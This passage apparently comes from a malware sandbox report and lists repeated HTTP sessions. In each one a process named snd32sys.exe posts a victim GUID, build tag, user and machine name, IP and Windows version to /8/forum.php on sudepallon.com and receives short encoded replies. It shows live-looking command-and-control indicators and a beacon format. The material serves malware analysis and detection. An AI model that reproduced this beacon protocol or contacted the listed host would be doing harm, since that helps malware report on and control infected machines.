Jul 8, 2021 16:32:07.823514938 CEST	6064	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:07.890404940 CEST	6065	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4d 4e 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJMNQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49791	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:08.232155085 CEST	6065	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:08.301796913 CEST	6066	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4a 51 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHJQSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49792	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:08.911281109 CEST	6066	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:08.978708029 CEST	6067	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 5a 41 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQZAJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49793	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:09.286073923 CEST	6068	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:09.355176926 CEST	6068	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4e 4d 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHNMSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49758	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:53.896061897 CEST	5639	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:53.964401007 CEST	5688	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 41 5a 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCAZXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49794	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:09.661709070 CEST	6069	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:09.730118990 CEST	6069	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4e 4d 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTNMGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49795	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:10.059182882 CEST	6070	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:10.127449989 CEST	6070	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 54 47 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNTGMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49796	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:10.434488058 CEST	6071	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:10.502567053 CEST	6071	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 46 55 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQFUJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49797	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:10.798916101 CEST	6072	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:10.867554903 CEST	6073	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 48 53 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTHSGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49798	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:12.563224077 CEST	6073	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:12.632021904 CEST	6074	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4d 4e 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMMNNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49799	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:12.942617893 CEST	6074	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:13.008268118 CEST	6075	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 59 42 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNYBMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49800	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:13.320719004 CEST	6076	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:13.388214111 CEST	6076	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49801	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:13.690525055 CEST	6077	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:13.764219046 CEST	6077	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4d 4e 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTMNGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49802	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:32:14.084805965 CEST	6078	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:32:14.151746035 CEST	6078	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:32:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 59 42 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNYBMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49759	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:54.344192028 CEST	5702	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:54.414891005 CEST	5703	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4e 4d 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZNMAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49760	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:54.742374897 CEST	5716	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:54.810606956 CEST	5801	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4b 50 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTKPGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49761	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:55.212100029 CEST	6031	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:55.280215025 CEST	6031	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 48 53 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBHSYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49762	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
Jul 8, 2021 16:31:55.649635077 CEST	6032	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 122 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 38 30 32 33 32 32 38 38 33 33 36 37 32 37 32 31 36 34 34 26 42 55 49 4c 44 3d 30 37 30 37 69 6e 32 5f 77 76 63 72 26 49 4e 46 4f 3d 38 38 38 36 38 33 20 40 20 44 45 53 4b 54 4f 50 2d 37 31 36 54 37 37 31 5c 68 61 72 64 7a 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 32 28 78 36 34 29 Data Ascii: GUID=8023228833672721644&BUILD=0707in2_wvcr&INFO=888683 @ computer\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.2(x64)
Jul 8, 2021 16:31:55.718817949 CEST	6032	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 08 Jul 2021 14:31:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 47 54 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHGTSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49763	77.222.42.67	80	C:\Users\Public\snd32sys.exe

Timestamp	kBytes transferred	Direction	Data
